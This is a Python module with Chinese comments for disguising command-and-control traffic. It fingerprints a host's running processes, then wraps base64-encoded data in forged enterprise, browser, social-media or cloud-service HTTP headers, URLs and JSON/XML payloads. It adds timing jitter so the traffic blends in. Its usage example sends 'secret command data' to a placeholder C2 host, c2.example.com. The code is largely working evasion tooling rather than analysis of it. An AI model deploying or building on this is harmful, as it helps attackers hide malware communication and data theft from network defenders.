#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
动态流量伪装模块
根据目标环境业务流量特征自动调整通信包结构
"""

import os
import sys
import json
import time
import random
import base64
import hashlib
import urllib.parse
from typing import Dict, List, Optional, Any, Tuple
from dataclasses import dataclass, field
from enum import Enum
import re

class TrafficProfile(Enum):
    """流量配置文件类型"""
    ENTERPRISE_API = "enterprise_api"
    WEB_BROWSING = "web_browsing"
    SOCIAL_MEDIA = "social_media"
    CLOUD_SERVICES = "cloud_services"
    GAMING = "gaming"
    STREAMING = "streaming"
    IOT_DEVICE = "iot_device"
    MOBILE_APP = "mobile_app"

@dataclass
class TrafficPattern:
    """流量模式"""
    profile: TrafficProfile
    user_agents: List[str]
    content_types: List[str]
    headers: Dict[str, List[str]]
    url_patterns: List[str]
    timing_patterns: Dict[str, Any]
    payload_templates: List[str]
    frequency_distribution: Dict[str, float]

class TrafficAnalyzer:
    """流量分析器"""
    
    def __init__(self):
        self.captured_patterns = {}
        self.environment_profile = None
        
    def analyze_environment_traffic(self, pcap_file: str = None) -> TrafficProfile:
        """分析环境流量特征"""
        try:
            if pcap_file:
                return self._analyze_pcap_file(pcap_file)
            else:
                return self._analyze_system_traffic()
                
        except Exception as e:
            print(f"流量分析失败: {e}")
            return TrafficProfile.WEB_BROWSING  # 默认配置
    
    def _analyze_pcap_file(self, pcap_file: str) -> TrafficProfile:
        """分析PCAP文件"""
        try:
            # 这里可以集成scapy等库来分析网络包
            # 简化实现，返回基于文件名的推测
            if "enterprise" in pcap_file.lower():
                return TrafficProfile.ENTERPRISE_API
            elif "social" in pcap_file.lower():
                return TrafficProfile.SOCIAL_MEDIA
            elif "cloud" in pcap_file.lower():
                return TrafficProfile.CLOUD_SERVICES
            else:
                return TrafficProfile.WEB_BROWSING
                
        except Exception:
            return TrafficProfile.WEB_BROWSING
    
    def _analyze_system_traffic(self) -> TrafficProfile:
        """分析系统当前流量"""
        try:
            # 检查运行的进程来推断环境类型
            import psutil
            
            processes = [proc.name().lower() for proc in psutil.process_iter(['name'])]
            
            # 企业环境特征
            enterprise_indicators = ['outlook', 'teams', 'slack', 'zoom', 'webex']
            if any(indicator in ' '.join(processes) for indicator in enterprise_indicators):
                return TrafficProfile.ENTERPRISE_API
            
            # 游戏环境特征
            gaming_indicators = ['steam', 'discord', 'game', 'epic']
            if any(indicator in ' '.join(processes) for indicator in gaming_indicators):
                return TrafficProfile.GAMING
            
            # 流媒体环境特征
            streaming_indicators = ['netflix', 'youtube', 'spotify', 'vlc']
            if any(indicator in ' '.join(processes) for indicator in streaming_indicators):
                return TrafficProfile.STREAMING
            
            # 默认为Web浏览
            return TrafficProfile.WEB_BROWSING
            
        except Exception:
            return TrafficProfile.WEB_BROWSING
    
    def extract_traffic_features(self, traffic_data: List[Dict]) -> Dict[str, Any]:
        """提取流量特征"""
        features = {
            'user_agents': set(),
            'content_types': set(),
            'headers': {},
            'url_patterns': set(),
            'timing_intervals': [],
            'payload_sizes': [],
            'request_methods': {}
        }
        
        for packet in traffic_data:
            # 提取User-Agent
            if 'user_agent' in packet:
                features['user_agents'].add(packet['user_agent'])
            
            # 提取Content-Type
            if 'content_type' in packet:
                features['content_types'].add(packet['content_type'])
            
            # 提取头部信息
            if 'headers' in packet:
                for header, value in packet['headers'].items():
                    if header not in features['headers']:
                        features['headers'][header] = set()
                    features['headers'][header].add(value)
            
            # 提取URL模式
            if 'url' in packet:
                features['url_patterns'].add(self._extract_url_pattern(packet['url']))
            
            # 提取时间间隔
            if 'timestamp' in packet:
                features['timing_intervals'].append(packet['timestamp'])
            
            # 提取载荷大小
            if 'payload_size' in packet:
                features['payload_sizes'].append(packet['payload_size'])
            
            # 提取请求方法
            if 'method' in packet:
                method = packet['method']
                features['request_methods'][method] = features['request_methods'].get(method, 0) + 1
        
        return features
    
    def _extract_url_pattern(self, url: str) -> str:
        """提取URL模式"""
        try:
            parsed = urllib.parse.urlparse(url)
            # 简化路径，保留结构
            path_parts = parsed.path.split('/')
            pattern_parts = []
            
            for part in path_parts:
                if part.isdigit():
                    pattern_parts.append('{id}')
                elif re.match(r'^[a-f0-9-]{36}$', part):  # UUID
                    pattern_parts.append('{uuid}')
                elif len(part) > 20:  # 长字符串，可能是token
                    pattern_parts.append('{token}')
                else:
                    pattern_parts.append(part)
            
            return '/'.join(pattern_parts)
            
        except Exception:
            return url

class TrafficProfileManager:
    """流量配置文件管理器"""
    
    def __init__(self):
        self.profiles = self._load_default_profiles()
        
    def _load_default_profiles(self) -> Dict[TrafficProfile, TrafficPattern]:
        """加载默认流量配置文件"""
        profiles = {}
        
        # 企业API流量配置
        profiles[TrafficProfile.ENTERPRISE_API] = TrafficPattern(
            profile=TrafficProfile.ENTERPRISE_API,
            user_agents=[
                'Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.13901)',
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.4.00.26453 Chrome/80.0.3987.165 Electron/8.5.1 Safari/537.36',
                'Slack-Desktop/4.17.0 (Windows NT 10.0; x64)',
                'Zoom/5.7.0 (Windows)'
            ],
            content_types=[
                'application/json',
                'application/xml',
                'text/xml',
                'application/soap+xml'
            ],
            headers={
                'Authorization': ['Bearer {token}', 'Basic {credentials}'],
                'X-API-Key': ['{api_key}'],
                'X-Request-ID': ['{uuid}'],
                'X-Client-Version': ['1.0.0', '2.1.3', '3.0.1'],
                'Accept': ['application/json', 'application/xml'],
                'Content-Type': ['application/json', 'application/xml']
            },
            url_patterns=[
                '/api/v1/users/{id}',
                '/api/v2/documents/{uuid}',
                '/api/v3/auth/login',
                '/api/v1/services/UserService',
                '/api/graphql',
                '/rest/api/auth/login',
                '/soap/api/services/UserService'
            ],
            timing_patterns={
                'request_interval': (5, 30),  # 5-30秒间隔
                'burst_requests': (3, 8),     # 突发请求数
                'quiet_period': (60, 300)     # 静默期
            },
            payload_templates=[
                '{"username": "{user}", "password": "{pass}"}',
                '{"query": "SELECT * FROM users WHERE id = {id}"}',
                '<?xml version="1.0"?><soap:Envelope><soap:Body><GetUser><UserId>{id}</UserId></GetUser></soap:Body></soap:Envelope>'
            ],
            frequency_distribution={
                'GET': 0.4,
                'POST': 0.3,
                'PUT': 0.2,
                'DELETE': 0.1
            }
        )
        
        # Web浏览流量配置
        profiles[TrafficProfile.WEB_BROWSING] = TrafficPattern(
            profile=TrafficProfile.WEB_BROWSING,
            user_agents=[
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15'
            ],
            content_types=[
                'text/html',
                'text/css',
                'application/javascript',
                'image/jpeg',
                'image/png',
                'application/json'
            ],
            headers={
                'Accept': ['text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'],
                'Accept-Language': ['en-US,en;q=0.5', 'zh-CN,zh;q=0.9'],
                'Accept-Encoding': ['gzip, deflate, br'],
                'DNT': ['1'],
                'Connection': ['keep-alive'],
                'Upgrade-Insecure-Requests': ['1']
            },
            url_patterns=[
                '/',
                '/index.html',
                '/about',
                '/contact',
                '/search?q={query}',
                '/user/{id}',
                '/static/css/{file}.css',
                '/static/js/{file}.js'
            ],
            timing_patterns={
                'request_interval': (1, 10),
                'page_load_time': (2, 8),
                'session_duration': (300, 1800)
            },
            payload_templates=[
                'q={search_term}',
                'username={user}&password={pass}',
                '{"search": "{query}", "page": {num}}'
            ],
            frequency_distribution={
                'GET': 0.8,
                'POST': 0.15,
                'PUT': 0.03,
                'DELETE': 0.02
            }
        )
        
        # 社交媒体流量配置
        profiles[TrafficProfile.SOCIAL_MEDIA] = TrafficPattern(
            profile=TrafficProfile.SOCIAL_MEDIA,
            user_agents=[
                'Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1',
                'Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0',
                'Instagram 190.0.0.34.124 Android (29/10; 420dpi; 1080x2220; samsung; SM-G975F; beyond2; exynos9820; en_US; 292204203)'
            ],
            content_types=[
                'application/json',
                'image/jpeg',
                'image/png',
                'video/mp4',
                'text/plain'
            ],
            headers={
                'X-Instagram-AJAX': ['{token}'],
                'X-CSRFToken': ['{csrf_token}'],
                'X-Requested-With': ['XMLHttpRequest'],
                'Referer': ['https://www.instagram.com/', 'https://www.facebook.com/'],
                'Origin': ['https://www.instagram.com', 'https://www.facebook.com']
            },
            url_patterns=[
                '/api/v1/feed/timeline/',
                '/api/v1/users/{id}/info/',
                '/api/v1/media/{id}/like/',
                '/api/v1/direct_v2/threads/',
                '/graphql/query/'
            ],
            timing_patterns={
                'request_interval': (2, 15),
                'scroll_interval': (3, 10),
                'interaction_delay': (1, 5)
            },
            payload_templates=[
                '{"media_id": "{id}"}',
                '{"user_id": "{id}", "action": "follow"}',
                '{"text": "{message}", "thread_id": "{thread_id}"}'
            ],
            frequency_distribution={
                'GET': 0.6,
                'POST': 0.35,
                'PUT': 0.03,
                'DELETE': 0.02
            }
        )
        
        # 云服务流量配置
        profiles[TrafficProfile.CLOUD_SERVICES] = TrafficPattern(
            profile=TrafficProfile.CLOUD_SERVICES,
            user_agents=[
                'aws-cli/2.2.16 Python/3.8.8 Windows/10 exe/AMD64 prompt/off command/s3.sync',
                'Microsoft Azure Storage Explorer/1.19.1',
                'Google Cloud SDK gcloud/345.0.0'
            ],
            content_types=[
                'application/json',
                'application/xml',
                'application/octet-stream',
                'text/xml'
            ],
            headers={
                'Authorization': ['AWS4-HMAC-SHA256 Credential={access_key}', 'Bearer {token}'],
                'x-amz-date': ['{timestamp}'],
                'x-amz-content-sha256': ['{hash}'],
                'x-ms-version': ['2020-04-08'],
                'x-goog-api-version': ['2']
            },
            url_patterns=[
                '/api/v1/bucket/{name}',
                '/api/container/{name}/blob/{id}',
                '/storage/api/v1/b/{bucket}/o/{object}',
                '/api/subscriptions/{id}/resourceGroups/{group}',
                '/v1/api/storage/{bucket}',
                '/api/v2/files/{id}',
                '/rest/api/backup/{name}'
            ],
            timing_patterns={
                'sync_interval': (300, 3600),
                'backup_window': (3600, 7200),
                'api_call_interval': (10, 60)
            },
            payload_templates=[
                '{"Action": "ListBuckets"}',
                '{"containerName": "{name}", "blobName": "{file}"}',
                '{"name": "{resource}", "location": "{region}"}'
            ],
            frequency_distribution={
                'GET': 0.5,
                'POST': 0.2,
                'PUT': 0.25,
                'DELETE': 0.05
            }
        )
        
        return profiles
    
    def get_profile(self, profile_type: TrafficProfile) -> TrafficPattern:
        """获取流量配置文件"""
        return self.profiles.get(profile_type, self.profiles[TrafficProfile.WEB_BROWSING])
    
    def create_custom_profile(self, features: Dict[str, Any]) -> TrafficPattern:
        """基于特征创建自定义配置文件"""
        return TrafficPattern(
            profile=TrafficProfile.WEB_BROWSING,  # 默认类型
            user_agents=list(features.get('user_agents', [])),
            content_types=list(features.get('content_types', [])),
            headers={k: list(v) for k, v in features.get('headers', {}).items()},
            url_patterns=list(features.get('url_patterns', [])),
            timing_patterns=features.get('timing_patterns', {}),
            payload_templates=features.get('payload_templates', []),
            frequency_distribution=features.get('request_methods', {})
        )

class TrafficDisguiser:
    """流量伪装器"""
    
    def __init__(self, profile_manager: TrafficProfileManager):
        self.profile_manager = profile_manager
        self.current_profile = None
        self.session_state = {}
        
    def set_profile(self, profile_type: TrafficProfile):
        """设置流量配置文件"""
        self.current_profile = self.profile_manager.get_profile(profile_type)
        self.session_state = {
            'request_count': 0,
            'last_request_time': time.time(),
            'session_start': time.time()
        }
    
    def disguise_request(self, original_data: bytes, target_url: str) -> Tuple[Dict[str, str], str, bytes]:
        """伪装请求"""
        if not self.current_profile:
            self.set_profile(TrafficProfile.WEB_BROWSING)
        
        # 生成伪装的头部
        headers = self._generate_headers()
        
        # 生成伪装的URL
        disguised_url = self._generate_url(target_url)
        
        # 生成伪装的载荷
        disguised_payload = self._disguise_payload(original_data)
        
        # 更新会话状态
        self._update_session_state()
        
        return headers, disguised_url, disguised_payload
    
    def _generate_headers(self) -> Dict[str, str]:
        """生成伪装的HTTP头部"""
        headers = {}
        
        # 随机选择User-Agent
        if self.current_profile.user_agents:
            headers['User-Agent'] = random.choice(self.current_profile.user_agents)
        
        # 添加配置文件中的头部
        for header_name, possible_values in self.current_profile.headers.items():
            if possible_values:
                value = random.choice(possible_values)
                # 替换模板变量
                value = self._replace_template_variables(value)
                headers[header_name] = value
        
        # 添加随机的Content-Type
        if self.current_profile.content_types:
            headers['Content-Type'] = random.choice(self.current_profile.content_types)
        
        return headers
    
    def _generate_url(self, original_url: str) -> str:
        """生成伪装的URL"""
        if not self.current_profile.url_patterns:
            return original_url
        
        # 随机选择URL模式
        pattern = random.choice(self.current_profile.url_patterns)
        
        # 替换模板变量
        disguised_path = self._replace_template_variables(pattern)
        
        # 解析原始URL
        parsed = urllib.parse.urlparse(original_url)
        
        # 构造新URL
        return urllib.parse.urlunparse((
            parsed.scheme,
            parsed.netloc,
            disguised_path,
            '',  # params
            self._generate_query_string(),
            ''   # fragment
        ))
    
    def _generate_query_string(self) -> str:
        """生成查询字符串"""
        # 根据配置文件生成合理的查询参数
        params = {}
        
        if self.current_profile.profile == TrafficProfile.WEB_BROWSING:
            # Web浏览查询参数
            possible_params = ['q', 'search', 'page', 'limit', 'sort', 'filter']
            for _ in range(random.randint(0, 3)):
                param = random.choice(possible_params)
                params[param] = self._generate_random_value(param)
        
        elif self.current_profile.profile == TrafficProfile.ENTERPRISE_API:
            # API查询参数
            possible_params = ['version', 'format', 'limit', 'offset', 'fields']
            for _ in range(random.randint(1, 2)):
                param = random.choice(possible_params)
                params[param] = self._generate_random_value(param)
        
        return urllib.parse.urlencode(params)
    
    def _disguise_payload(self, original_data: bytes) -> bytes:
        """伪装载荷数据"""
        if not self.current_profile.payload_templates:
            return original_data
        
        # 选择载荷模板
        template = random.choice(self.current_profile.payload_templates)
        
        # 替换模板变量
        disguised_content = self._replace_template_variables(template)
        
        # 嵌入原始数据
        embedded_data = self._embed_data_in_template(original_data, disguised_content)
        
        return embedded_data.encode('utf-8')
    
    def _embed_data_in_template(self, original_data: bytes, template: str) -> str:
        """在模板中嵌入原始数据"""
        # Base64编码原始数据
        encoded_data = base64.b64encode(original_data).decode()
        
        # 根据模板类型选择嵌入方式
        if template.startswith('{'):
            # JSON模板
            try:
                template_obj = json.loads(template)
                # 在随机字段中嵌入数据
                field_name = random.choice(['data', 'content', 'payload', 'message', 'body'])
                template_obj[field_name] = encoded_data
                return json.dumps(template_obj)
            except:
                pass
        
        elif template.startswith('<?xml'):
            # XML模板
            # 在CDATA中嵌入数据
            return template.replace('</soap:Body>', f'<Data><![CDATA[{encoded_data}]]></Data></soap:Body>')
        
        # 默认：在查询字符串中嵌入
        return f"{template}&data={encoded_data}"
    
    def _replace_template_variables(self, template: str) -> str:
        """替换模板变量"""
        replacements = {
            '{token}': self._generate_token(),
            '{api_key}': self._generate_api_key(),
            '{uuid}': self._generate_uuid(),
            '{id}': str(random.randint(1000, 9999)),
            '{user}': random.choice(['admin', 'user', 'test', 'demo']),
            '{pass}': self._generate_password(),
            '{timestamp}': str(int(time.time())),
            '{hash}': self._generate_hash(),
            '{query}': random.choice(['search', 'test', 'data', 'info']),
            '{file}': random.choice(['document', 'image', 'data', 'backup']),
            '{num}': str(random.randint(1, 100))
        }
        
        result = template
        for placeholder, value in replacements.items():
            result = result.replace(placeholder, value)
        
        return result
    
    def _generate_random_value(self, param_type: str) -> str:
        """生成随机参数值"""
        if param_type in ['q', 'search', 'query']:
            return random.choice(['test', 'search', 'data', 'info', 'help'])
        elif param_type in ['page', 'limit', 'offset']:
            return str(random.randint(1, 100))
        elif param_type == 'sort':
            return random.choice(['asc', 'desc', 'name', 'date'])
        elif param_type == 'format':
            return random.choice(['json', 'xml', 'csv'])
        elif param_type == 'version':
            return random.choice(['v1', 'v2', '1.0', '2.0'])
        else:
            return 'value'
    
    def _generate_token(self) -> str:
        """生成随机token"""
        return base64.b64encode(os.urandom(32)).decode()[:43]
    
    def _generate_api_key(self) -> str:
        """生成随机API密钥"""
        return ''.join(random.choices('abcdef0123456789', k=32))
    
    def _generate_uuid(self) -> str:
        """生成随机UUID"""
        import uuid
        return str(uuid.uuid4())
    
    def _generate_password(self) -> str:
        """生成随机密码"""
        return ''.join(random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=12))
    
    def _generate_hash(self) -> str:
        """生成随机哈希"""
        return hashlib.sha256(os.urandom(32)).hexdigest()
    
    def _update_session_state(self):
        """更新会话状态"""
        self.session_state['request_count'] += 1
        self.session_state['last_request_time'] = time.time()
    
    def should_add_delay(self) -> float:
        """计算是否需要添加延迟"""
        if not self.current_profile or not self.current_profile.timing_patterns:
            return 0
        
        timing = self.current_profile.timing_patterns
        
        # 获取请求间隔
        if 'request_interval' in timing:
            min_interval, max_interval = timing['request_interval']
            return random.uniform(min_interval, max_interval)
        
        return 0

# 使用示例
if __name__ == "__main__":
    # 创建流量分析器
    analyzer = TrafficAnalyzer()
    
    # 分析环境
    env_profile = analyzer.analyze_environment_traffic()
    print(f"检测到的环境类型: {env_profile.value}")
    
    # 创建配置文件管理器
    profile_manager = TrafficProfileManager()
    
    # 创建流量伪装器
    disguiser = TrafficDisguiser(profile_manager)
    disguiser.set_profile(env_profile)
    
    # 伪装请求
    original_data = b"secret command data"
    target_url = "https://c2.example.com/api/command"
    
    headers, disguised_url, disguised_payload = disguiser.disguise_request(original_data, target_url)
    
    print(f"\\n伪装后的头部: {json.dumps(headers, indent=2)}")
    print(f"伪装后的URL: {disguised_url}")
    print(f"伪装后的载荷长度: {len(disguised_payload)} bytes")
    
    # 检查延迟
    delay = disguiser.should_add_delay()
    print(f"建议延迟: {delay:.2f} 秒")